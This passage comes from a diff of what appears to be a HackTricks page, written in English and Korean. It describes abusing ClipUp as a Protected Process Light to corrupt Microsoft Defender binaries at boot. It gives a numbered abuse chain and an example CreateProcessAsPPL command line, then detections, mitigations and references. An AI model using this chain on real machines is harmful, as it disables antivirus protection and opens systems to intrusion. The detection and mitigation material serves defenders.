1) Launch the PPL-capable LOLBIN (ClipUp) with `CREATE_PROTECTED_PROCESS` using a launcher (e.g., CreateProcessAsPPL).
|
||||
2) Pass the ClipUp log-path argument to force a file creation in a protected AV directory (e.g., Defender Platform). Use 8.3 short names if needed.
|
||||
3) If the target binary is normally open/locked by the AV while running (e.g., MsMpEng.exe), schedule the write at boot before the AV starts by installing an auto-start service that reliably runs earlier. Validate boot ordering with Process Monitor (boot logging).
|
||||
4) On reboot the PPL-backed write happens before the AV locks its binaries, corrupting the target file and preventing startup.
|
||||
Abuse chain (abstract)
|
||||
1) 런처(예: CreateProcessAsPPL)를 사용해 `CREATE_PROTECTED_PROCESS`로 PPL 지원 LOLBIN(ClipUp)을 실행합니다.
|
||||
2) ClipUp의 로그-경로 인수를 전달하여 보호된 AV 디렉터리(예: Defender Platform)에 파일 생성을 강제합니다. 필요하면 8.3 단축 이름을 사용하세요.
|
||||
3) 대상 바이너리가 실행 중 AV에 의해 일반적으로 열려 있거나 잠겨 있다면(예: MsMpEng.exe), AV가 시작되기 전에 부팅 시 쓰기가 수행되도록 더 먼저 실행되는 자동 시작 서비스를 설치하세요. Process Monitor(부팅 로깅)로 부팅 순서를 검증합니다.
|
||||
4) 재부팅 시 PPL로 보호된 쓰기는 AV가 바이너리를 잠그기 전에 발생하여 대상 파일을 손상시키고 시작을 방해합니다.
|
||||
|
||||
Example invocation (paths redacted/shortened for safety):
|
||||
```text
|
||||
# Run ClipUp as PPL at Windows signer level (1) and point its log to a protected folder using 8.3 names
|
||||
CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe -ppl C:\PROGRA~3\MICROS~1\WINDOW~1\Platform\<ver>\samplew.dll
|
||||
```
|
||||
주의사항 및 제약
|
||||
- ClipUp가 쓰는 내용은 배치(placement) 외에는 제어할 수 없습니다; 이 프리미티브는 정밀한 콘텐츠 주입보다는 손상(corruption)에 적합합니다.
|
||||
- 로컬 admin/SYSTEM 권한이 필요하며 서비스 설치/시작과 재부팅 시간이 필요합니다.
|
||||
- 타이밍이 중요합니다: 대상이 열려 있지 않아야 하며, 부팅 시 실행하면 파일 잠금을 피할 수 있습니다.
|
||||
Notes and constraints
|
||||
- ClipUp가 쓰는 내용은 위치(placement) 외에는 제어할 수 없습니다; 이 primitive는 정밀한 내용 주입보다는 손상(corruption)에 적합합니다.
|
||||
- 서비스 설치/시작 및 재부팅 시간을 위해 로컬 admin/SYSTEM 권한이 필요합니다.
|
||||
- 타이밍이 중요합니다: 대상이 열려 있으면 안 되며, 부팅 시 실행하면 파일 잠금을 피할 수 있습니다.
|
||||
|
||||
탐지
|
||||
- 부팅 전후로 비정상적인 인수로 `ClipUp.exe` 프로세스가 생성되는 경우, 특히 비표준 런처에 의해 부모 프로세스화(parented)된 경우 주의하세요.
|
||||
- 의심스러운 바이너리를 자동 시작하도록 구성된 새 서비스 및 일관되게 Defender/AV보다 먼저 시작되는 서비스. Defender 시작 실패 이전의 서비스 생성/수정 내역을 조사하세요.
|
||||
- Defender 바이너리/Platform 디렉터리에 대한 파일 무결성 모니터링; protected-process 플래그를 가진 프로세스에 의한 예상치 못한 파일 생성/수정.
|
||||
- ETW/EDR 텔레메트리: `CREATE_PROTECTED_PROCESS`로 생성된 프로세스와 비-AV 바이너리에 의한 이상한 PPL 레벨 사용을 확인하세요.
|
||||
Detections
|
||||
- 부팅 시점에 비표준 런처(parented by non-standard launchers)로부터 상속된 경우를 포함해, 특이한 인수로 `ClipUp.exe` 프로세스 생성.
|
||||
- 의심스러운 바이너리를 자동 시작하도록 구성된 새로운 서비스 및 Defender/AV보다 항상 먼저 시작되는 경우. Defender 시작 실패 이전의 서비스 생성/수정 내역을 조사하세요.
|
||||
- Defender 바이너리/Platform 디렉터리에 대한 파일 무결성 모니터링; protected-process 플래그를 가진 프로세스에 의한 예기치 않은 파일 생성/수정.
|
||||
- ETW/EDR 텔레메트리: `CREATE_PROTECTED_PROCESS`로 생성된 프로세스 및 비-AV 바이너리의 비정상적인 PPL 레벨 사용을 확인하세요.
|
||||
|
||||
완화 조치
|
||||
- WDAC/Code Integrity: 어떤 서명된 바이너리가 PPL로 실행될 수 있고 어떤 부모 아래에서 실행될 수 있는지를 제한; 정당한 컨텍스트 외에서의 ClipUp 호출을 차단하세요.
|
||||
Mitigations
|
||||
- WDAC/Code Integrity: 어떤 서명된 바이너리가 어떤 부모 프로세스 하에서 PPL로 실행될 수 있는지 제한; 정당한 컨텍스트 외에서의 ClipUp 호출 차단.
|
||||
- 서비스 위생: 자동 시작 서비스의 생성/수정 권한을 제한하고 시작 순서 조작을 모니터링하세요.
|
||||
- Defender tamper protection 및 early-launch 보호가 활성화되어 있는지 확인하고, 바이너리 손상을 나타내는 시작 오류를 조사하세요.
|
||||
- 보안 툴이 호스팅되는 볼륨에서 8.3 short-name generation을 비활성화하는 것을 고려하되 환경과 호환되는지(철저히 테스트) 확인하세요.
|
||||
- Defender tamper protection 및 early-launch protections가 활성화되어 있는지 확인하고, 바이너리 손상을 나타내는 시작 오류를 조사하세요.
|
||||
- 보안 툴이 위치한 볼륨에서 8.3 short-name generation을 환경 호환성이 허용한다면 비활성화하는 것을 고려하세요(철저히 테스트할 것).
|
||||
|
||||
PPL 및 도구 관련 참조
|
||||
References for PPL and tooling
|
||||
- Microsoft Protected Processes overview: https://learn.microsoft.com/windows/win32/procthread/protected-processes
|
||||
- EKU reference: https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88
|
||||
- Procmon boot logging (ordering validation): https://learn.microsoft.com/sysinternals/downloads/procmon
|
||||
- CreateProcessAsPPL launcher: https://github.com/2x7EQ13/CreateProcessAsPPL
|
||||
- Technique writeup (ClipUp + PPL + boot-order tamper): https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html
|
||||
|
||||
## 참조
|
||||
## References
|
||||
|
||||
- [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
|
||||
- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
|
||||
@ -853,4 +901,6 @@ PPL 및 도구 관련 참조
|
||||
- [CreateProcessAsPPL launcher](https://github.com/2x7EQ13/CreateProcessAsPPL)
|
||||
- [Zero Salarium – Countering EDRs With The Backing Of Protected Process Light (PPL)](https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html)
|
||||
|
||||
- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user